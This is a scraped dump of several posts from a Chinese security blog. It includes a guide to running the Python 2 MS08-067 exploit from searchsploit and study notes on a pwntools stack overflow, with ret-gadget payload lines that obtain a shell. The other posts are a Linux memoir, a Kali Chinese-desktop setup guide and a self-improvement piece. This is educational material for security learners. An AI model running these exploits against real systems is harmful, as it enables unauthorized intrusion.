Collecting future Downloading future-0.18.2.tar.gz (829 kB) |████████████████████████████████| 829 kB 4.3 MB/s Collecting chardet Downloading chardet-4.0.0-py2.py3-none-any.whl (178 kB) |████████████████████████████████| 178 kB 2.8 MB/s Collecting cryptography\u0026gt;=3.3 Downloading cryptography-3.3.2-cp27-cp27mu-manylinux2010_x86_64.whl (2.6 MB) |████████████████████████████████| 2.6 MB 1.9 MB/s Collecting dnspython Downloading dnspython-1.16.0-py2.py3-none-any.whl (188 kB) |████████████████████████████████| 188 kB 5.7 MB/s Collecting itsdangerous\u0026lt;2.0,\u0026gt;=0.24 Downloading itsdangerous-1.1.0-py2.py3-none-any.whl (16 kB) Collecting click\u0026lt;8.0,\u0026gt;=5.1 Downloading click-7.1.2-py2.py3-none-any.whl (82 kB) |████████████████████████████████| 82 kB 423 kB/s Collecting Jinja2\u0026lt;3.0,\u0026gt;=2.10.1 Downloading Jinja2-2.11.3-py2.py3-none-any.whl (125 kB) |████████████████████████████████| 125 kB 2.8 MB/s Collecting Werkzeug\u0026lt;2.0,\u0026gt;=0.15 Downloading Werkzeug-1.0.1-py2.py3-none-any.whl (298 kB) |████████████████████████████████| 298 kB 2.6 MB/s Collecting cffi\u0026gt;=1.12 Downloading cffi-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl (393 kB) |████████████████████████████████| 393 kB 669 kB/s Collecting ipaddress; python_version \u0026lt; \u0026#34;3\u0026#34; Downloading ipaddress-1.0.23-py2.py3-none-any.whl (18 kB) Collecting enum34; python_version \u0026lt; \u0026#34;3\u0026#34; Downloading enum34-1.1.10-py2-none-any.whl (11 kB) Collecting MarkupSafe\u0026gt;=0.23 Downloading MarkupSafe-1.1.1-cp27-cp27mu-manylinux1_x86_64.whl (24 kB) Collecting pycparser Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB) |████████████████████████████████| 118 kB 435 kB/s Building wheels for collected packages: impacket, future Building wheel for impacket (setup.py) ... done Created wheel for impacket: filename=impacket-0.9.24-py2-none-any.whl size=1450131 sha256=c3507dac2198a7c5f26bb9736004a0b74e3b7d7066f8f663cc141f2fed268082 Stored in directory: /home/kali/.cache/pip/wheels/fb/19/59/b5402a38e6d5c76e284ae31ed8ef0ab8088b8d37d6d09a419d Building wheel for future (setup.py) ... done Created wheel for future: filename=future-0.18.2-py2-none-any.whl size=502567 sha256=1077d3c74ece316e9b0a0fed8aa419b33eb7dd894de9e3bad546987574aa2b78 Stored in directory: /home/kali/.cache/pip/wheels/5f/11/0c/aad680baf5ef4fbcbab992c9f03e1130357e0c173a4fdabfff Successfully built impacket future Installing collected packages: pyasn1, pycryptodomex, pycparser, cffi, ipaddress, six, enum34, cryptography, pyOpenSSL, ldap3, future, dnspython, ldapdomaindump, itsdangerous, click, MarkupSafe, Jinja2, Werkzeug, flask, chardet, impacket Successfully installed Jinja2-2.11.3 MarkupSafe-1.1.1 Werkzeug-1.0.1 cffi-1.15.0 chardet-4.0.0 click-7.1.2 cryptography-3.3.2 dnspython-1.16.0 enum34-1.1.10 flask-1.1.4 future-0.18.2 impacket-0.9.24 ipaddress-1.0.23 itsdangerous-1.1.0 ldap3-2.9.1 ldapdomaindump-0.9.3 pyOpenSSL-21.0.0 pyasn1-0.4.8 pycparser-2.21 pycryptodomex-3.11.0 six-1.16.0 STEP 6 從 searchsploit 下載 ms08-067 的 exploit code\n先搜尋列出 ms08-067 的所有 exploit 。\n(ven) $ searchsploit ms08-067 ---------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Microsoft Windows - \u0026#39;NetAPI32.dll\u0026#39; Code Execution (Python) (MS08-067) | windows/remote/40279.py Microsoft Windows Server - Code Execution (MS08-067) | windows/remote/7104.c Microsoft Windows Server - Code Execution (PoC) (MS08-067) | windows/dos/6824.txt Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067) (Metasploit) | windows/remote/16362.rb Microsoft Windows Server - Universal Code Execution (MS08-067) | windows/remote/6841.txt Microsoft Windows Server 2000/2003 - Code Execution (MS08-067) | windows/remote/7132.py ---------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ---------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Paper Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- How Conficker makes use of MS08-067 | docs/english/12934-how-conficker ---------------------------------------------------------------------------------------------------------------------------------------------------- ---------- 下載 40279.py。\n(venv) $ searchsploit -p windows/remote/40279.py Exploit: Microsoft Windows - \u0026#39;NetAPI32.dll\u0026#39; Code Execution (Python) (MS08-067) URL: https://www.exploit-db.com/exploits/40279 Path: /usr/share/exploitdb/exploits/windows/remote/40279.py File Type: Python script, ASCII text executable, with very long lines 複製 40279.py 到 imp 資料夾。\n(venv) $ mkdir imp (venv) $ cd imp (venv) $ cp /usr/share/exploitdb/exploits/windows/remote/40279.py . STEP 7 執行 ms08-067 exploit code (40279.py)\n可成功執行，表示 Python 2.7 虛擬環境設定 OK。\n(venv) $ python 40279.py ####################################################################### # MS08-067 Exploit # This is a modified verion of Debasis Mohanty\u0026#39;s code (https://www.exploit-db.com/exploits/7132/). # The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi ####################################################################### Usage: 40279.py \u0026lt;target ip\u0026gt; Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal 結論 隨著 Python 2.7 版本停止支援，各大 Linux 作業系統都轉移到 Python 3 環境，Kali Linux 亦已無法使用 pip 內建指令，安裝 Python 2 的模組。\n幸好有 virtualenv 能建置虛擬執行環境，讓 Python 2 撰寫的 exploit code 還能順利運作，解決相容性的問題。\n希望這篇教學能幫助到你，有任何問題，請在下方留言給我，也請幫我分享這篇文章給你的朋友。\n若對 Kali Linux 的中文桌面環境設定有興趣，可以參考我另外一篇文章：打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法)。\n參考資料 https://www.kali.org/docs/general-use/python3-transition/ https://www.python.org/doc/sunset-python-2/ https://www.kali.org/docs/general-use/using-eol-python-versions/ https://github.com/pyenv/pyenv ","permalink":"https://hack543.com/kali-linux-virtualenv-python2-exploit/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003ePython 軟體基金會(Python Software Foundation) 已於 2020 年 1 月 1 日\u003ca href=\"https://www.python.org/doc/sunset-python-2/\"\u003e停止發展與支援\u003c/a\u003e Python 2 版本，目前主流的 Linux Distribution 的 預設 Python 程式版本都已移轉至 Python 3 版本，也包含 Kali Linux。\u003c/p\u003e\n\u003cp\u003e由於 Kali Linux 為了向前相容，預設的 /usr/bin/python 程式仍指向 Python 2 版本，但 Python 的模組管理程式 /usr/bin/pip，卻不是 Python 2 的版本，而是Python 3 的版本。\u003c/p\u003e","title":"在 Kali Linux 上使用 virtualenv 執行 Python 2 撰寫的 exploit 程式"},{"content":"前言 Linux 是我很重要的護城河技能。學習 Linux 真是我人生中，最好的學習投資。不論是求學或求職都幫助很大，它幫助我畢業後，順利在短時間內找到人生第一份工作，甚至後續轉職， Linux 的技能都幫我加了不少分。\n從開始接觸 Linux 到現在已超過 10 年了，我還是每天用它，到現在都還能從中學習到新知。這一篇是我的回憶文， 接下來，我要來跟大家分享我學習 Linux 的經驗。\n最後，我會分享 Linux 初學者的學習建議。\n精選圖片引用維基百科的 Tux Logo，, created using Sodipodi. Based on original image by Larry Ewing, made in GIMP.\n契機 我求學時的同班同學， 教室桌上擺了許多 Linux 的書籍。我有時經過會隨手翻閱。過一陣子，他送了好幾本Linux 書籍給我，每本書裡面都夾了 Linux 安裝光碟。\n我把其中一塊光碟放到我的電腦，安裝 Linux。\n從此以後，我的人生就改變了。我記得是 RedHat 6.0 版，Gnome 1.x 版，全英文界面，完全無法輸入中文。\n雖然安裝完成以後，什麼正事都不能幹，但是光把玩這些桌面程式，就覺得超酷的，對我來說 Linux 完全是一個新世界。\n原來電腦除了 Windows 98，也能長另外一個樣子。\n衝擊 同一時間，有個機會參觀電腦社辦。\n當時，我會製作靜態網頁，已有電腦網頁設計的基礎。粗淺修改 HTML 跟 CSS，貼一些現成的 JavaScript 特效程式碼到網頁中，並用FTP 上傳到免費網頁空間。 但看到電腦社員使用 Putty SSH 遠端連線進去 Linux 伺服器，使用 joe 跟 GCC ，寫著 C 語言的程式。\n我根本看不到電腦社員的車尾燈，他們跟我的程度完全是不同檔次，還因此一陣子心情沮喪。電腦社指導老師見狀鼓勵我，說我急什麼呢？我還年輕，再慢慢學就好，才讓我慢慢恢復重拾希望。\n再次衝擊 大學班上有個同學，對 Linux 很熟。我請教他 Linux 的問題。只記得，他來我的電腦前面，下了兩三個指令，就秒解我的問題。\n接下來，便很熱心地順手幫我調整我的 Linux 電腦的 Kernel 編譯選項，開始編譯 Linux Kernel。\n看著 Make 印出快速閃過 Log，對我來說，這又是一個另一個衝擊。原來 Linux 不是裝好桌面環境就好，作業系統還有很多內部的設定可以調整， Linux 真是太博大精深阿。\n我當時就下定決心，砍掉 Windows ，天天用 Linux 。任何電腦相關的作業我都用 Linux，也只玩 Linux 的遊戲。甚至連放假，我都不出去玩，在宿舍天天玩 Linux。\n一開始也沒想太多，只是覺得 Linux 真的是太好玩了，有好多東西可以探索，每個禮拜都有新發現。\n推廣 Linux 學了幾年以後，覺得 Linux 真是個好東西，應該要推廣給大家一起來用。剛開始是推廣 Debain Linux。Debian 有優秀的 APT 軟體套件管理系統，跟全球幾千位的負責打包軟體套件的志工，還有詳盡的系統安裝文件。\n安裝 APT 套件，就不用自己編譯軟體的 source code ，感覺世界真的很美好。\n那個時候成功推坑了一位學弟。他把汰換下來的電腦，灌完 Linux 作業系統，放到機房去，24小時不關機。那個時候沒有 VPS，學弟每天 SSH 連進去，在MSN 上跟我傳訊息，表達 Linux 好好玩，學到很多東西，很有成就感。 但坐在我研究室座位旁邊的學弟，我一直鼓吹 ，但還是死不入坑，最後他電腦中毒，整台電腦重灌。\n參加 LUG 社群 為了跟其他的同好交流，開始參加 LUG 的實體聚會 (Linux User Group)。會眾的電腦都裝別人不會用的 X Window Manager(視窗管理界面)，聚會時常會以此虧來虧去。\n在 LUG 裡，讓我認識許多對 Linux 很有熱情的同好，還變成好朋友。\n我最喜歡帶著筆電跟問題，到聚會裡面去請教其他同好。\nLUG 同好也會輪流分享跟 Linux 相關的主題，也讓我學習到很多課本以外的電腦科學知識。\n我發現愛用 Linux 的人，個性比較能夠忍耐。以前電腦剛裝好 Linux，用戶體驗根本是爛的。以前不像現在硬體支援程度那麼好，要嘛顯示卡、音效卡不會動，要嘛無線網卡、有線網卡不支援。要解決就得上網找國外的論壇看有沒有網友分享，如何裝驅動程式。\n或是一開始的時候，就得挑選有支援 Linux 的硬體。挑筆電的時候，就追著老闆問說筆電的晶片型號。\n這樣的養成經驗，以至於很習慣東西是爛的，然後開始修，但是很享受修正過程的成就感。\nLinux 初學者的學習建議 講完我的 Linux 經歷，接下來要講 Linux 初學者的學習建議。\n當時受到洪朝貴教授的文章 - 如何有效學習電腦文章啟發，文章裡面提到「知識相乘」的概念。你學習的知識，必須要像樂高積木一樣，能夠在解決不同問題時，能夠重新組合，不用砍掉重練。\n「知識相乘」在 Linux 領域，最經典就是只用 Vim 編輯器，學寫 shell script、 C 、PHP、Perl、Python 。到現在如果要學習新的程式語言，我還是會這樣做。\n我蠻鼓勵學生學 Linux 的，在 Linux 上學習架設網頁伺服器，操作 MySQL 資料庫、練習電腦網路。所有在學校電腦科學相關課程上的知識，都能在 Linux 上落地學習。不會覺得這些僅是課堂上期中、期末考的內容，而是活生生能應用在電腦的知識。\n而且 Linux 就像是一個很好的動手做大平台，你可以在 Linux 寫任何程式語言，架設任何的伺服器。從做中學，就能知道自己不足的地方在哪裡，再上網或找書補充就好。\n而且學習過程中，還能鍛鍊其他方面的技巧。英文、自學、解決問題、提問、社群互動等等。甚至會寫程式以後，還可以貢獻網路上的開源專案。你可以跟來自全世界的開發者交流，你的視野就不會侷限在台灣。\n那要怎麼開始呢？\n很簡單，先買本 Linux 的書，推薦「鳥哥的私房菜」。砍掉你的 Windows。灌 Ubuntu Linux。然後，天天用它，每天抱著它睡覺。\n如果你有資訊背景，要寫程式、架設伺服器，請全部都用 Linux 執行，持之以恆。\n然後，在你身邊找到一個願意幫你的Linux 高手。這個人也許是你的學長、也許是電腦社的同學。也許是工作上的同事。\n但請記住，不要他手把手教你，是讓你有疑難雜症的時候，提點你。\n設定小目標，比方說，架設 Wordpress 網站、郵件伺服器。過程中一定會有挑戰、會有問題。自己動手解決問題，克服挑戰，不斷從過程中獲得樂趣，持之以恆，你才能一直使用 Linux 下去 。\n結論 學習 Linux 對我是個美麗的意外，也是我人生覺得最值得的投資，建議你也一起來玩。如果你也有相同經驗，歡迎在底下留言分享。\n","permalink":"https://hack543.com/thanks-linux/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003eLinux 是我很重要的護城河技能。學習 Linux 真是我人生中，最好的學習投資。不論是求學或求職都幫助很大，它幫助我畢業後，順利在短時間內找到人生第一份工作，甚至後續轉職， Linux 的技能都幫我加了不少分。\u003c/p\u003e","title":"謝謝 Linux，感謝你的愛"},{"content":"這篇是讀書筆記，不是教學文。\n最近跟著台科大資安社的線上社課 PWN 學習。在 x64 CPU Linux 環境下，引用 pwntools 模組撰寫 Python exploit 程式，進行經典的緩衝區溢位( Stack Based Buffer Overflow )攻擊。\n在 exploit 程式執行呼叫 interactive()函式，要拿 shell 的時候 ，出現下述的錯誤訊息。\n[*] Got EOF while reading in interactive 雖然 exploit 程式最後仍有出現 $ 字符號，但是輸入任何 Linux 指令都無反應，表示攻擊失敗。\n但 exploit 程式寫法沒有問題。使用 GDB 進行除錯，發現是 system() 函式所執行的一行組語，產生 segmentation fault 錯誤，進而程式執行錯誤。\n→ 0x7fd8bd24ffbc \u0026lt;do_system+364\u0026gt; movaps XMMWORD PTR [rsp+0x50], xmm0 查到這篇 ROP Emporium - Beginners\u0026rsquo; guide ，在 The MOVAPS issue 章節說明到。這是 glibc 預設的 stack alignment 造成的問題，在 Return Oriented Programming 的攻擊常遇到，尤其是要呼叫 system() 函式的時候。\n在 64 bits 環境下，有些 glibc 版本會預設 stack 位址 要對齊 16 bytes，意即 rsp 的值要能被 16 整除 ，rsp 最後一碼必須為 0。\n在 gcc man page的 -mpreferred-stack-boundary 參數有說明預設的 stack boundary 是 16 bytes，資料如下：\n-mpreferred-stack-boundary=num\nAttempt to keep the stack boundary aligned to a 2 raised to num byte boundary. If -mpreferred-stack-boundary is not specified, the default is 4 (16 bytes or 128-bits).\nWarning: If you use this switch, then you must build all modules with the same value, including any libraries. This includes the system libraries and startup modules.\n程式一開始執行時，rsp 位址是在 0x00007ffd1c7f0f40，還有對齊 16 bytes 。\n0x00007ffd1c7f0f40│+0x0000: 0x61617ffd1c7f1040 ← $rsp 0x00007ffd1c7f0f48│+0x0008: \u0026#34;aaaaaaaa\u0026#34; 0x00007ffd1c7f0f50│+0x0010: 0x0000000000000000 ← $rbp 進行 Stack Buffer Overflow成功控制 return 位址，呼叫到 do_system() 時，rsp 位址在 0x00007fffa0ac5468，已經沒有對齊 16 bytes了。\n解法就是，設計溢位堆疊時，返回呼叫 backdoor() 函式前，多呼叫一次其他位址的ret ，讓 rsp 位址能減 8。\n原本 payload 寫法：\npayload = b\u0026#39;b\u0026#39; * 10 payload += p64(rbp) payload += p64(backdoor) 寫法改成：\npayload = b\u0026#39;b\u0026#39; * 10 payload += p64(rbp) payload += p64(ret_addr) payload += p64(backdoor) ret_addr 使用位址我是拿 init() + 70 的位址( 0x120f )，透過 objdump 指令得知。程式中其他的 ret 位址也都能使用。\n00000000000011c9 \u0026lt;init\u0026gt;: ... 120e: 5d pop rbp 120f: c3 ret 安排 Stack 先返回 \u0026lt;init+70\u0026gt; 的位址，再返回 backdoor() 函式。返回前的 rsp 位址在 0x00007ffe5e388d58 (沒有對齊)，Stack 與 Debug 視窗截圖如下：\n自 \u0026lt;init+70\u0026gt; 準備返回 backdoor() 函式，rsp 位址是 0x00007ffe5e388d60，已對齊 16 bytes，並且成功獲得 /bin/sh。\n參考資料\nhttps://www.reddit.com/r/ExploitDev/comments/i5beqt/error_got_eof_while_reading_in_interactive_in/ https://ropemporium.com/guide.html https://www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/ https://gcc.gnu.org/bugzilla/show_bug.cgi?id=40838 https://research.csiro.au/tsblog/debugging-stories-stack-alignment-matters/ man gcc ","permalink":"https://hack543.com/16-bytes-stack-alignment-movaps-issue/","summary":"\u003cp\u003e這篇是讀書筆記，不是教學文。\u003c/p\u003e\n\u003cp\u003e最近跟著台科大資安社的\u003ca href=\"https://www.youtube.com/watch?v=H52LnWjcC_A\"\u003e線上社課 PWN\u003c/a\u003e 學習。在 x64 CPU Linux 環境下，引用 \u003ca href=\"https://github.com/Gallopsled/pwntools\"\u003epwntools\u003c/a\u003e 模組撰寫 Python exploit 程式，進行經典的緩衝區溢位( \u003ca href=\"https://en.wikipedia.org/wiki/Stack_buffer_overflow\"\u003eStack Based Buffer Overflow\u003c/a\u003e )攻擊。\u003c/p\u003e\n\u003cp\u003e在 exploit 程式執行呼叫 \u003ccode\u003einteractive()\u003c/code\u003e函式，要拿 shell 的時候 ，出現下述的錯誤訊息。\u003c/p\u003e","title":"16 Bytes Stack Alignment 的 MOVAPS 問題"},{"content":"Kali Linux 是 Offensive Security 公司推出專門的 Linux Distribution\n當讀者匯入 Kali Linux 虛擬機器的 OVA 映像檔後，初次開機預設是英文圖形桌面環境。中文字型顯示不甚完美，也沒有中文輸入法，對中文使用者不友善。\n接下來，會教大家打造 Kali Linux 的繁體中文桌面環境，包含安裝中文輸入法、中文字型等。\n以下以 Kali Linux 2021.2 版本為例，其他版本也可斟酌參考。\n封面圖片出處： Kali Linux 2021.2 版本預設桌面。\n感謝熱心 ELLIC 網友回報：本教學 Kali Linux 2024 年版本亦適用\n操作流程 STEP 1 更新 apt 套件庫\n$ sudo apt update We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for kali: Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease [30.5 kB] Get:2 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 Packages [17.7 MB] Get:3 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 Contents (deb) [39.8 MB] Get:4 http://kali.cs.nctu.edu.tw/kali kali-rolling/contrib amd64 Packages [108 kB] Get:5 http://kali.cs.nctu.edu.tw/kali kali-rolling/contrib amd64 Contents (deb) [123 kB] Get:6 http://kali.cs.nctu.edu.tw/kali kali-rolling/non-free amd64 Packages [199 kB] Get:7 http://kali.cs.nctu.edu.tw/kali kali-rolling/non-free amd64 Contents (deb) [954 kB] Fetched 59.0 MB in 29s (2,018 kB/s) Reading package lists... Done Building dependency tree... Done Reading state information... Done 111 packages can be upgraded. Run \u0026#39;apt list --upgradable\u0026#39; to see them. STEP 2 安裝文鼎中文明體與 Google Noto Sans CJK 字型\n$ sudo apt install fonts-arphic-uming fonts-noto-cjk Reading package lists... Done Building dependency tree... Done Reading state information... Done Suggested packages: fonts-noto-cjk-extra The following NEW packages will be installed: fonts-arphic-uming fonts-noto-cjk 0 upgraded, 2 newly installed, 0 to remove and 111 not upgraded. Need to get 63.1 MB of archives. After this operation, 113 MB of additional disk space will be used. Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 fonts-arphic-uming all 0.2.20080216.2-11 [7,938 kB] Get:2 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 fonts-noto-cjk all 1:20201206-cjk+repack1-1 [55.1 MB] Fetched 63.1 MB in 19s (3,403 kB/s) Selecting previously unselected package fonts-arphic-uming. (Reading database ... 271628 files and directories currently installed.) Preparing to unpack .../fonts-arphic-uming_0.2.20080216.2-11_all.deb ... Unpacking fonts-arphic-uming (0.2.20080216.2-11) ... Selecting previously unselected package fonts-noto-cjk. Preparing to unpack .../fonts-noto-cjk_1%3a20201206-cjk+repack1-1_all.deb ... Unpacking fonts-noto-cjk (1:20201206-cjk+repack1-1) ... Setting up fonts-noto-cjk (1:20201206-cjk+repack1-1) ... Setting up fonts-arphic-uming (0.2.20080216.2-11) ... Processing triggers for fontconfig (2.13.1-4.2) ... STEP 3 安裝 fcitx5 中文輸入框架、新酷音輸入法 (New Chewing) 與桌面環境輸入法設定工具 (im-config)\n$ sudo apt install fcitx5 fcitx5-chewing im-config Reading package lists... Done Building dependency tree... Done Reading state information... Done The following additional packages will be installed: fcitx5-config-qt fcitx5-data fcitx5-frontend-gtk3 fcitx5-frontend-qt5 fcitx5-module-emoji fcitx5-module-quickphrase fcitx5-module-wayland fcitx5-module-xorg fcitx5-modules libboost-iostreams1.74.0 libboost-regex1.74.0 libchewing3 libchewing3-data libfcitx5-qt-data libfcitx5-qt1 libfcitx5config6 libfcitx5core7 libfcitx5gclient1 libfcitx5utils2 libime-bin libime-data libime-data-language-model libimecore0 libimepinyin0 libimetable0 libkf5itemviews-data libkf5itemviews5 libkf5widgetsaddons-data libkf5widgetsaddons5 libxcb-ewmh2 libxcb-imdkit1 unicode-cldr-core Suggested packages: fcitx5-chinese-addons fcitx5-frontend-gtk2 kde-config-fcitx5 The following NEW packages will be installed: fcitx5 fcitx5-chewing fcitx5-config-qt fcitx5-data fcitx5-frontend-gtk3 fcitx5-frontend-qt5 fcitx5-module-emoji fcitx5-module-quickphrase fcitx5-module-wayland fcitx5-module-xorg fcitx5-modules im-config libboost-iostreams1.74.0 libboost-regex1.74.0 libchewing3 libchewing3-data libfcitx5-qt-data libfcitx5-qt1 libfcitx5config6 libfcitx5core7 libfcitx5gclient1 libfcitx5utils2 libime-bin libime-data libime-data-language-model libimecore0 libimepinyin0 libimetable0 libkf5itemviews-data libkf5itemviews5 libkf5widgetsaddons-data libkf5widgetsaddons5 libxcb-ewmh2 libxcb-imdkit1 unicode-cldr-core 0 upgraded, 35 newly installed, 0 to remove and 111 not upgraded. Need to get 45.0 MB of archives. After this operation, 245 MB of additional disk space will be used. Do you want to continue? [Y/n] Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 fcitx5-data all 5.0.5-1 [1,389 kB] Get:2 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 libfcitx5utils2 amd64 5.0.5-1 [183 kB] Get:3 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 libfcitx5config6 amd64 5.0.5-1 [47.1 kB] Get:4 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 libfcitx5core7 amd64 5.0.5-1 [248 kB] Get:5 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 libxcb-ewmh2 amd64 0.4.1-1.1 [33.8 kB] Get:6 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 fcitx5-modules amd64 5.0.5-1 [509 kB] Get:7 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 fcitx5 amd64 5.0.5-1 [169 kB] ...[snipped]... Setting up fcitx5-module-emoji:amd64 (5.0.5-1) ... Setting up fcitx5 (5.0.5-1) ... Setting up fcitx5-module-xorg:amd64 (5.0.5-1) ... Processing triggers for desktop-file-utils (0.26-1) ... Processing triggers for hicolor-icon-theme (0.17-2) ... Processing triggers for libgtk-3-0:amd64 (3.24.24-4) ... Processing triggers for libc-bin (2.31-11) ... Processing triggers for man-db (2.9.4-2) ... Processing triggers for mailcap (3.69) ... Processing triggers for kali-menu (2021.2.3) ... STEP 8 指定 Kali Linux 視窗字型為文鼎中文明體\n(1). 開啟 Kali Linux 選單，並點擊右下角的 Setting Manager 圖示 (如下圖紅框所示)\n點擊右下角的 Setting Manager\n(2). 點擊「Appearance」，選擇第 3 個 Tab 「Fonts」\nFonts 分頁內容\n(3). 點擊 「Default Font」中間的字型條，並選擇使用文鼎中文明體字型 (AR PL UMing TW MBE Light)，Size 選擇 12。\n變更 Kali Linux 視窗界面顯示字型\n(4). 選單使用文鼎字型顯示的效果，變得更加銳利。\n選單使用文鼎字型顯示的效果\nSTEP 8 設定 fcitx5 輸入法\n(1). 開啟終端機，執行 im-config 指令。點擊 「OK」 鈕繼續。\nim-config 起始視窗，點擊「OK」鈕繼續\n(2). 下一步，選擇「Yes」，覆蓋原本的輸入法設定。\n選擇「Yes」，覆蓋原本的輸入法設定。\n(3). 下一步，選擇「fcitx5」輸入法，點擊「OK」按鈕。\n選擇「fcitx5」輸入法，點擊「OK」按鈕。\n(4). 視窗顯示輸入法設定結果，點擊「OK」按鈕。\n視窗顯示輸入法設定結果，點擊「OK」按鈕。\n(5). 設定完畢輸入法，需要重新啟動 Xsession，請登出 (Logout) 再登入。\n選擇藍色 Log Out 按鈕，登出。\nSTEP 8 設定新酷音輸入法\n(1). 重新登入後，選擇桌面右上角「鍵盤」圖示，並點擊「Configure」，來新增新酷音輸入法。\n選擇「Configure」，來新增新酷音輸入法。\n(2). 在可用輸入法清單(Available Input Method)下方的搜尋框，輸入 chewing，找到新酷音輸入法。\n在輸入法清單找到新酷音輸入法\n(3). 選擇「\u0026lt;-」按鈕，將新酷音輸入法加到目前的輸入法清單中，並按下 「Apply」按鈕。\n選擇「\u0026lt;-」按鈕，將新酷音輸入法加到目前的輸入法清單中，並按下 「Apply」按鈕。\n(4). 先不要急著關掉視窗，再選擇 「Addons」分頁，再選擇 「Classic User Interface」旁邊的齒輪圖示 。我要來微調輸入法的設定。\n選擇 「Addons」分頁，再選擇 「Classic User Interface」旁邊的齒輪圖示 。\n（5). 勾選 「Vertical Candidate List」，並將 Font 與 Menu Font 字型選擇為 文鼎明體(AR PL UMing TW MBE Light)，字型大小為 12 pt。」接續按 「OK」與「Close」關閉 Fcitx 輸入法設定視窗。\nFont 與 Menu Font 字型選擇為 文鼎明體(AR PL UMing TW MBE Light)\n(6). 酷音輸入法的輸入效果。開啟文字編輯器(Text Editor)，按 「Ctrl 」+ 「Space」按鈕呼叫新酷音輸入法，並試看看注音輸入。若可以出現中文字，表示設定成功。\n按 「Ctrl 」+ 「Space」按鈕呼叫新酷音輸入法。\nSTEP 8 變更 Firefox ESR 瀏覽器中文顯示字型\n(1). 打開偏好設定 (Preference)，捲動到 Language and Appearance ，將 Default font 選擇 「Noto Sans CJK TC」。\n捲動到 Language and Appearance ，將 Default font 選擇 「Noto Sans CJK TC」。\n(2). 再點擊「Advanced」將全部的字型逐一調整。Fonts for 選擇 Traditional Chinese (Taiwan)。\n再點擊「Advanced」將全部的字型逐一調整。Fonts for 選擇 Traditional Chinese (Taiwan)。\n(3). 網頁中文字型顯示效果如下圖。\n網頁中文字型顯示效果\n結論 至此，我已完成 Kali Linux 中文字型顯示與輸入。希望這篇文章能幫到你，如果你喜歡這篇文章的話，記得分享給你的朋友。\n","permalink":"https://hack543.com/kali-linux-2021-tradictional-chinese-env/","summary":"\u003cp\u003eKali Linux 是 Offensive Security 公司推出專門的 Linux Distribution\u003c/p\u003e\n\u003cp\u003e當讀者匯入 Kali Linux 虛擬機器的 OVA 映像檔後，初次開機預設是英文圖形桌面環境。中文字型顯示不甚完美，也沒有中文輸入法，對中文使用者不友善。\u003c/p\u003e","title":"打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) (Kali Linux 2024 也適用)"},{"content":"你接觸了駭客技能一段時間，渴望繼續成長嗎？努力一段時間，卻覺得技能成長幅度有限嗎？\n您好，我是Iok，興趣上常閱讀自我成長書籍，發現雖然是不同背景、時代的作品。但「道不同，不相為謀」，每位大師的精進看法卻意外地接近。\n最近 COVID-19 疫情升溫，少了人際應酬、親友互動，多了獨處、自我沈澱的空檔。正如同史帝芬柯維 (Stephen Covey) 在《與成功有約》一書提到，積極的人不怨天尤人，正面思考，並利用難得的空檔，精進自己。\n若讀者對於精進自己有興趣，就請你繼續看下去吧。\n封面圖面 Photo by Jungwoo Hong on Unsplash\n一、自主學習 離開學校以後，不能期待自己不懂的東西，會有人手把手教你。養成「自主學習」的習慣，能讓自己職涯上遇到新的困難與挑戰時，自己看書或上網找資料。\n自己的問題自己解決，會很有成就感。\n二、利用零碎時間閱讀 我會利用搭捷運通勤的時間讀書。短短 20 分鐘，雖然只能看書本 2 ~ 3 頁，但是長期累積下來，大約一個多月也可以讀完一本書。在捷運上，放眼望去，大多數人利用手機瀏覽社群網站 APP、玩遊戲或是看股票。\n看書的人算是少數中的少數。每天利用這幾分鐘充實自己，長期下來你就比滑手機的人，多懂一些知識。\n三、找一本「聖經」 每個領域都有「經典書籍」。如果要了解一個全新領域，我建議先讀該領域的權威人士所撰寫「經典書籍」。經典書籍通常是「結構化」深入淺出描述該領域知識，幫助你快速建構基礎知識。\n書中常有整理好的建議參考書籍或文獻，尤其是外文書。也利於進階學習該領域知識。\n你可能會說，現在 Google 很方便，透過搜索引擎，我也可以看一些網頁補充知識。\n搜索引擎你可能會搜到維基百科、某個業內專家的部落格，或是某個時間長度的 Youtube 影片等等。但這些索引出來的東西是很破碎的、沒有經過整理的。\n因為網頁資料不會安排你需要先懂什麼、再懂什麼知識。無法一步步，循序漸進學習。\n這邊也分享一個做法，透過地區圖書館的「館際合作」機制，調自己想借的書到家附近的圖書館，只要在附近圖書館借還書即可，就不會侷限在地區圖書館藏書數量的限制。例如說，像新北市三重的圖書館，透過預約與館際合作機制，可以借調到淡水或是新北市總圖的書籍。\n四、花錢跟時間投資自己 